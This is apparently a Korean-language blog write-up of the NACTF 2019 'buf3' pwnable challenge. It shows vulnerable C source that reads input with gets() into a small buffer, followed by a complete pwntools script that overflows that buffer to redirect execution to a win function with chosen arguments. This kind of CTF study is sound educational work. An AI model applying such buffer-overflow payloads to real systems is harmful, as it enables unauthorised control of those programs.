본문 바로가기

CTF/Nactf

Nactf pwnable_buf3 Write up

이 문제 처음봤을때 그냥 간단하게 익스될거같았다. 하지만 어림도 없지 ㅋㅋㅋ

정말 황당했던 문제였다.

 

일단 이 문제 역시 소스코드를 주었다. 딱 소스코드 보자마자 buf 하면 되겠구나 생각하고 풀었다.

 

void vuln()
{
	char buf[16];
	printf("Type something>");
	gets(buf);
	printf("asldf : %p\n",&buf);
	printf("You typed %s!\n", buf);
}
void win(long long arg1, int arg2)
{
	printf("arg1 : %p | %p\n ", &arg1, arg1);
	printf("arg2 : %p | %p\n", &arg2, arg2);

	if (arg1 != 0x14B4DA55 || arg2 != 0xF00DB4BE)
	{
		puts("Close, but not quite.");
		exit(1);
	}

	printf("You win!\n");

 

이런식으로 소스코드가 주어졌었는데 일단 리턴을 win함수로 바꾸고 arg1 하고 arg2 까지 덮어줘야되는 문제다. 일단 문제 시나리오 역시 쉽다. 여기에 맟춰서 익스를 짯는데 실패했다.

 

처음에 이런식으로 익스를 진행하였다. 실패했다. 일단 원일을 알아보기위해서 디버깅을 해보았다.

일단 디버깅을 해본결과 win 함수까지는 잘 실행된것을 확인할수 있다.

근데 갑자기 ch 랑 0x0 이랑 xor을 한다. ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 띠용~~~~

그래서 아싸하고 여기에 값만 잘 들어가게하면 익스된다고 생각해서 일단 여기에 있는 값을 확인해보았더니,

b4 이길래 우리가 입력한 값에 b4 있는지 확인했더니 실제로 존재했다 ㅋㅋㅋㅋㅋ

그래서 그거에 맞게 익스를 시켜버렸다~~~

 

from pwn import *
context.terminal=['tmux', 'splitw', '-h']

p = remote("shell.2019.nactf.com",31184)
#p = process("./buf3")
#p = process("./test")
#gdb.attach(p, 'b win+58')

ppr = 0x8049360

p.recvuntil("Type something>")

#payload = "A"*28
payload = "A"*28
payload += p32(0x80491c2)
payload += "A"*4
#payload += p32(0x14B4DA55)
payload += p32(0x14B4DA55)
payload += p32(0)           #xor
#payload += "A"*4
#payload += p32(0)
payload += p32(0xF00DB4BE)


p.sendline(payload)

p.interactive()

정말 재밌는 문제였다.

'CTF > Nactf' 카테고리의 다른 글

Nactf pwnable_buf2 Write up  (0) 2019.10.20